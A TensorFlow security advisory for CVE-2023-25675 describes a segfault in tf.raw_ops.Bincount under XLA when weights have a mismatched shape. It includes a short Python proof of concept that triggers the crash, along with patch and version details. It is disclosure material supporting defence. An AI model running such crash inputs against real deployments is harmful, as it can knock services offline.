## TFSA-2023-007: Segfault in Bincount with XLA

### CVE Number
CVE-2023-25675

### Impact
When running with XLA, `tf.raw_ops.Bincount` segfaults when given a parameter `weights` that is neither the same shape as parameter `arr` nor a length-0 tensor.

```python
import tensorflow as tf

func = tf.raw_ops.Bincount
para={'arr': 6, 'size': 804, 'weights': [52, 351]}

@tf.function(jit_compile=True)
def fuzz_jit():
 y = func(**para)
 return y

print(fuzz_jit())
```

### Patches
We have patched the issue in GitHub commit [8ae76cf085f4be26295d2ecf2081e759e04b8acf](https://github.com/tensorflow/tensorflow/commit/8ae76cf085f4be26295d2ecf2081e759e04b8acf).

The fix will be included in TensorFlow 2.12. We will also cherrypick this commit on TensorFlow 2.11.1.


### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.


### Attribution
This vulnerability has been reported by r3pwnx of 360 AIVul Team
